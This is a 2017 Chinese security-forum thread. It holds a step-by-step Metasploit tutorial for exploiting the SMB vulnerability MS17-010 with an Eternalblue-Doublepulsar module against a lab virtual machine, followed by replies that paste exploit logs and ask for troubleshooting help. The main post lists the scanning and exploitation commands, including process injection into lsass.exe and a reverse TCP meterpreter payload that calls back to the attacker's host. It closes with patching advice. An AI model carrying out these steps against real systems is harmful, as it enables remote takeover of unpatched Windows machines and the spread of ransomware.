用户
搜索

该用户从未签到

安全团队

Rank: 7Rank: 7Rank: 7

33

主题

169

帖子

234

魔法币
收听
3
粉丝
21
注册时间
2016-8-17

i春秋认证春秋文阁

发表于 2017-5-17 21:08:42 5612272
本帖最后由 Demon123 于 2017-5-20 15:46 编辑

20170515_065228_919.jpg



              Eternalblue-Doublepulsar完善教程
视频演示
http://oc78wb8cz.bkt.clouddn.com/eternalblue_doublepulsar.mp4

Eternalblue-Doublepulsar  链接 ----->github:https://github.com/ElevenPaths/E ... lepulsar-Metasploit

1.实验环境 metasploitable3 虚拟机
2.攻击环境 kali 2017


1494856015028.png



扫描ms17-010 是否存在

[Shell] 纯文本查看 复制代码
msf > use auxiliary/scanner/smb/smb_ms17_010


1494974407797.png

[Shell] 纯文本查看 复制代码
msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.105


1494974439342.png

1494974419241.png

[Shell] 纯文本查看 复制代码
exploit


1494974332065.png


使用exploit——ms17-010

   1. 首先将github的项目下载来下,将eternalblue_doublepulsar.rb 拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb目录中,并且将Eternalblue-Doublepulsar-Metasploit整个目录复制到root目录下。


1494975511424.png


1494856357253.png


1494856504484.png

2.将下载的Eternalblue-Doublepulsar-Metasploit 目录整个拷贝到 root目录下


1494856644265.png

3.使用exploit模块

[Shell] 纯文本查看 复制代码
use exploit/windows/smb/eternalblue_doublepulsar


4.当执行exploit ,会出现问题时?该怎么办?

1494859066766.png

5.打开多架构支持/安装wine32


[Shell] 纯文本查看 复制代码
wine  -h



EK278L3MGQI4([_ZXDR])0W.png

再exploit时候。。。。
使用以下命令即可解决

[Shell] 纯文本查看 复制代码
dpkg --add-architecture i386 && apt-get update && apt-get install wine32<


1494859034634.png



设置
1.我们查看设置选项看看那些需要设置, DOUBLEPULSARPATH 和ETERNALBLUEPATH   无需设置,因为目录已经复制到root目录下了,以及target 是默认的2008 也无需设置,如果是其他版本可使用show targets 和set target 进行设置


[Shell] 纯文本查看 复制代码


1494975438346.png


2.因为目标机子是64位,所以需要进行以下设置。

[Shell] 纯文本查看 复制代码
set PROCESSINJECT lsass.exe


1494975731948.png

[Shell] 纯文本查看 复制代码
set TARGETARCHITECTURE x64


1494975929427.png

3.设置目标ip,端口不用动,就是445

[Shell] 纯文本查看 复制代码
set RHOST 192.168.1.105


1494975899435.png

4.设置PAYLOAD ,因为是64位所以需要设置,如果是windows/meterpreter/reverse_tcp,会没有获取到会话

1494976290705.png

[Shell] 纯文本查看 复制代码
set PAYLOAD windows/x64/meterpreter/reverse_tcp


1494976235055.png

5.设置本机反向shell连接 如:

[Shell] 纯文本查看 复制代码
set LHOST 192.168.1.104


1494976395829.png

6.exploit执行攻击载荷

[Shell] 纯文本查看 复制代码
exploit


1494976471479.png

1494976482764.png



安全建议:

由于之前爆发过多起利用445端口共享漏洞攻击案例,运营商对个人用户关闭了445端口。因校园网是独立的,故无此设置,加上不及时更新补丁,所以在本次事件中导致大量校园网用户中招。管家提供以下安全建议:

1、关闭445、139等端口,方法详见:http://mp.weixin.qq.com/s/7kArJcKJGIZtBH1tKjQ-uA

2、下载并更新补丁,及时修复漏洞(目前微软已经紧急发布XP、Win8、Windows server2003等系统补丁,已经支持所有主流系统,请立即更新)。

XP、Windows Server 2003、win8等系统访问:http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598

Win7、win8.1、Windows Server 2008、Windows 10, Windows Server 2016等系统访问: https://technet.microsoft.com/zh ... urity/ms17-010.aspx

3、安装腾讯电脑管家,电脑管家会自动开启主动防御进行拦截查杀;

4、支付比特币并不能解密文件,不要支付比特币,保留被加密的文件,等待解密。                                      
扫一扫,关注我们!

                                     095453cr7fftp68f2bn6eg.jpg



请问下楼主,为什么我运行后,显示错误是无法获取
'/root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.Skeleton.xml' 的文件状态(stat): 没有那个文件或目录
sed:无法读取 /root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.xml:没有那个文件或目录
cp: 无法获取'/root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.Skeleton.xml' 的文件状态(stat): 没有那个文件或目录
sed:无法读取 /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml:没有那个文件或目录
sed:无法读取 /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml:没有那个文件或目录

为什么会显示没有这些文件呢
使用道具 举报 回复
Started reverse TCP handler on 192.168.85.141:4444
  • 192.168.85.132:445 - Generating Eternalblue XML data
  • 192.168.85.132:445 - Generating Doublepulsar XML data
  • 192.168.85.132:445 - Generating payload DLL for Doublepulsar
  • 192.168.85.132:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
  • 192.168.85.132:445 - Launching Eternalblue...
    [+] 192.168.85.132:445 - Backdoor is already installed
  • 192.168.85.132:445 - Launching Doublepulsar...
    Error sending wrong architecture DLL to target
    [+] 192.168.85.132:445 - Remote code executed... 3... 2... 1...
  • Exploit completed, but no session was created.
    msf exploit(eternalblue_doublepulsar) >
    请问这是什么问题?
  • 使用道具 举报 回复
    [*] Started reverse TCP handler on 192.168.128.132:4444
    [*] 192.168.128.129:445 - Generating Eternalblue XML data
    [*] 192.168.128.129:445 - Generating Doublepulsar XML data
    [*] 192.168.128.129:445 - Generating payload DLL for Doublepulsar
    [*] 192.168.128.129:445 - Writing DLL in /usr/lib/wine/eternal11.dll
    [*] 192.168.128.129:445 - Launching Eternalblue...
    [-] Error getting output back from Core; aborting...
    [-] 192.168.128.129:445 - Are you sure it's vulnerable?
    [*] 192.168.128.129:445 - Launching Doublepulsar...
    [-] 192.168.128.129:445 - Oops, something was wrong!
    [*] Exploit completed, but no session was created.
    请问大神 这是怎么回事啊
    使用道具 举报 回复
    我问个问题:[-] WARNING! The following modules could not be loaded!
    [-]         /usr/share/metasploit-framework/modules/exploits/windows/smb/eternalblue_doublepulsar.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/smb/eternalblue_doublepulsar from /usr/share/metasploit-framework/modules/exploits/windows/smb/eternalblue_doublepulsar.rb) due to Missing compatible Metasploit<major_version> class constant

    爆这错误怎么办啊?
    使用道具 举报 回复
    msf exploit(eternalblue_doublepulsar) > exploit
  • Started reverse TCP handler on 192.168.85.141:4444
  • 192.168.85.132:445 - Generating Eternalblue XML data
  • 192.168.85.132:445 - Generating Doublepulsar XML data
  • 192.168.85.132:445 - Generating payload DLL for Doublepulsar
    [-] 192.168.85.132:445 - Exploit failed: Errno::ENOENT No such file or directory @ rb_sysopen - /root/.wine/drive_c/eternal11.dll
  • Exploit completed, but no session was created.
    请问这是什么原因,有没有哪位大神知道
  • 使用道具 举报 回复
    yijiyouyu 发表于 2017-5-30 14:34
    确实是wine32没装的原因,现在我已经装了。也能执行了,但是不反弹会话,报错:
    Error sending wrong arc ...

    额。。。在我回你帖子的时候,我突然想到。。我为啥要去除dpkg的32位支持呢。。。
    然后我就又加上了。。。
    然后重启msfcole。。。
    and it works !
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    有WINDOWS下 能直接反弹DLL的工具吗?
    使用道具 举报 回复
    发表于 2017-5-18 08:41:45
    snoopy88 发表于 2017-5-17 23:37
    有WINDOWS下 能直接反弹DLL的工具吗?

    nsa那个jar 图形化工具包
    使用道具 举报 回复
    发表于 2017-5-18 08:47:01
    snoopy88 发表于 2017-5-17 23:37
    有WINDOWS下 能直接反弹DLL的工具吗?

    再或者说 docker_kali http://www.secist.com/archives/3151.html  或者pentestbox  等等
    使用道具 举报 回复
    小爱_Joker 版主 成大事者 不拘小节 楚 积极活跃奖 i春秋签约作者 爱心勋章
    5#
    发表于 2017-5-18 15:02:21
    前排支持我demon师傅 前几天我和朋友弄这个来着 结果不知道是靶机问题还是什么问题 一直不反弹 尴尬了
    使用道具 举报 回复
    发表于 2017-5-18 16:43:43
    Demon123 发表于 2017-5-18 08:47
    再或者说 docker_kali http://www.secist.com/archives/3151.html  或者pentestbox  等等

    谢谢,我去看看!
    使用道具 举报 回复
    发表于 2017-5-18 16:51:18
    小爱_Joker 发表于 2017-5-18 15:02
    前排支持我demon师傅 前几天我和朋友弄这个来着 结果不知道是靶机问题还是什么问题 一直不反弹 尴尬了  ...

    你先看看 不知道 再问我吧
    使用道具 举报 回复
    小爱_Joker 版主 成大事者 不拘小节 楚 积极活跃奖 i春秋签约作者 爱心勋章
    8#
    发表于 2017-5-18 18:49:06
    Demon123 发表于 2017-5-18 08:51
    你先看看 不知道 再问我吧

    方法一样阿  tm 我就不成功,
    使用道具 举报 回复
    发表于 2017-5-18 20:07:51
    Demon123 发表于 2017-5-18 08:47
    再或者说 docker_kali http://www.secist.com/archives/3151.html  或者pentestbox  等等

    请问pentestbox 在WIN10 1703下不能用,有解决办法了吗
    使用道具 举报 回复
    发表于 2017-5-18 21:39:19
    wuyan3158 发表于 2017-5-18 20:07
    请问pentestbox 在WIN10 1703下不能用,有解决办法了吗

    个人表示从不用pentestbox
    使用道具 举报 回复
    发表于 2017-5-19 00:45:26
    小爱_Joker 发表于 2017-5-18 18:49
    方法一样阿  tm 我就不成功,

    可以截图私聊我一份
    使用道具 举报 回复
    发表于 2017-5-19 14:40:25
    在虚拟机下win7  winxp  2003 2008上用ms17_010都检查出存在漏洞,但是利用 Eternalblue-Doublepulsar一直不反弹shell,操作方法都一样,请问下是什么原因,防火墙没开,补丁一个都没打
    使用道具 举报 回复
    发表于 2017-5-19 14:42:12
    jacke15 发表于 2017-5-19 14:40
    在虚拟机下win7  winxp  2003 2008上用ms17_010都检查出存在漏洞,但是利用 Eternalblue-Doublepulsar一直 ...

    可以私聊找我 截图我看看
    使用道具 举报 回复
    发表于 2017-5-19 14:53:29
    太初级了吧,好多地方有全自动扫描器了,自动http\ftp传马运行
    使用道具 举报 回复
    1234下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册